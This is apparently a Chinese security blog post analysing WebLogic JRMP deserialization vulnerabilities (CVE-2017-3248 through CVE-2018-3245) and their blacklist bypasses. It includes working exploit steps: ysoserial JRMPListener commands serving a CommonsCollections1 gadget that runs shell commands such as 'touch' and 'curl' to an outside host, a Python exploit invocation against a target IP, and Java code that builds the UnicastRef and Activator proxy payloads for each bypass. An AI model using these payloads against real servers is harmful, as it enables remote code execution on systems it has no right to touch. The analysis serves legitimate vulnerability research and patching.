Weblogic JRMP反序列化及绕过分析

Share on:

Weblogic JRMP反序列化的一系列漏洞及绕过分析.

前言

JRMP是Java使用的另一种数据传输协议,在前文中提到了传输过程中会自动序列化和反序列化,因此weblogic出现了一系列的漏洞,即CVE-2017-3248、CVE-2018-2628、CVE-2018-2893、CVE-2018-3245,众所周知weblogic打补丁的形式为黑名单,所以CVE-2017-3248之后的洞都为黑名单绕过,本文逐一讲解。

CVE-2017-3248

复现

因为本机没有python2,就直接在虚拟机里复现了。使用ysoserial监听JRMP服务

1./Oracle/Middleware/jdk160_29/jre/bin/java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 'touch /tmp/success'

下载python版exp脚本 ,运行

1python 44553.py 172.16.2.129 7001 ./ysoserial.jar 172.16.2.129 8080 JRMPClient

成功创建/tmp/success文件 image

分析

JRMP在前文中提到了在传输过程中也会自动序列化和反序列化,那么我们可以构造一个gadgets,通过T3协议让weblogic自动请求我们的JRMPListener,然后JRMPListener返回给他一个恶意的gadgets对象,weblogic自动反序列化恶意对象,达到rce。

过程如图 image

整个构造需要两步

  1. 构造T3协议的payload,让weblogic请求我们的JRMP -> 复现中的python脚本
  2. 构造JRMPListener返回的gadgets -> 复现时监听JRMPListener

看下python脚本,发现脚本中是使用ysoserial生成payload.out,然后读出hex构造t3发包 image

看下JRMPClient.java的代码 image

利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,序列化之后发送给weblogic,weblogic会请求我们的JRMPListener,然后将获取的内容利用readObject()进行解析,导致恶意代码执行。

改造weblogic_cmd

BypassPayloadSelector.java

 1public static Object selectBypass(Object payload) throws Exception {
 2
 3    if (Main.TYPE.equalsIgnoreCase("marshall")) {
 4        payload = marshalledObject(payload);
 5    } else if (Main.TYPE.equalsIgnoreCase("streamMessageImpl")) {
 6        payload = streamMessageImpl(Serializables.serialize(payload));
 7    }else if(Main.TYPE.equalsIgnoreCase("JRMPListener")){
 8        payload = JRMPListener(cmdLine.getOptionValue("H")+":"+ cmdLine.getOptionValue("P"));
 9    }
10    return payload;
11}
12
13public static Registry JRMPListener(String command) throws Exception {
14
15    String host;
16    int port;
17    int sep = command.indexOf(':');
18    if (sep < 0) {
19        port = new Random().nextInt(65535);
20        host = command;
21    } else {
22        host = command.substring(0, sep);
23        port = Integer.valueOf(command.substring(sep + 1));
24    }
25    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
26    TCPEndpoint te = new TCPEndpoint(host, port);
27    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
28    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
29    Registry proxy = (Registry) Proxy.newProxyInstance(BypassPayloadSelector.class.getClassLoader(), new Class[]{
30        Registry.class
31            }, obj);
32    return proxy;
33}

weblogic_cmd是一个很方便发送t3协议数据的工具,改了改通过参数-T来指定JRMPClient,加了一个JRMPClient方法,仍然需要用ysoserial.jar监听JRMPListener。

1java -cp yso.jar ysoserial.exploit.JRMPListener 8080 CommonsCollections1 "curl http://172.16.1.1"

CVE-2018-2628

先看CVE-2017-3248的补丁

 1protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
 2    String[] arr$ = interfaces;
 3    int len$ = interfaces.length;
 4
 5    for(int i$ = 0; i$ < len$; ++i$) {
 6        String intf = arr$[i$];
 7        if (intf.equals("java.rmi.registry.Registry")) {
 8            throw new InvalidObjectException("Unauthorized proxy deserialization");
 9        }
10    }
11
12    return super.resolveProxyClass(interfaces);
13}

思路一:resolveProxyClass反序列化代理类才会调用,直接反序列化UnicastRef对象,调用sum.rmi.server.UnicastRef#readExternal。

 1public Registry getObject(final String command) throws Exception {
 2
 3    String host;
 4    int port;
 5    int sep = command.indexOf(':');
 6    if (sep < 0) {
 7        port = new Random().nextInt(65535);
 8        host = command;
 9    } else {
10        host = command.substring(0, sep);
11        port = Integer.valueOf(command.substring(sep + 1));
12    }
13    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
14    TCPEndpoint te = new TCPEndpoint(host, port);
15    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
16    return ref;
17}

这样绕过之后补丁把UnicastRef加入了黑名单。

思路二:使用java.rmi.registry.Registry之外的类。廖新喜用的java.rmi.activation.Activator

 1public Registry getObject(final String command) throws Exception {
 2    String host;
 3    int port;
 4    int sep = command.indexOf(':');
 5    if (sep < 0) {
 6        port = new Random().nextInt(65535);
 7        host = command;
 8    } else {
 9        host = command.substring(0, sep);
10        port = Integer.valueOf(command.substring(sep + 1));
11    }
12    ObjID id = new ObjID(new Random().nextInt()); // RMI registry
13    TCPEndpoint te = new TCPEndpoint(host, port);
14    UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
15    RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
16    Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
17        Activator.class
18            }, obj);
19    return proxy;
20}

CVE-2018-2893

由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893,用streamMessageImpl封装一下而已。

CVE-2018-3245

RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245

总结

一切罪恶的源头都是T3协议,weblogic还是禁用T3协议为好。weblogic黑名单补丁总是治标不治本,无奈的是补丁需要付费才能下载到。

参考

  1. https://www.cnblogs.com/afanti/p/10256840.html
  2. https://seaii-blog.com/index.php/2019/12/29/92.html
  3. https://github.com/pyn3rd/CVE-2018-2893
  4. https://mp.weixin.qq.com/s/ohga7Husc9ke5UYuqR92og
  5. 廖新喜 CVE-2018-2628 简单复现与分析

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。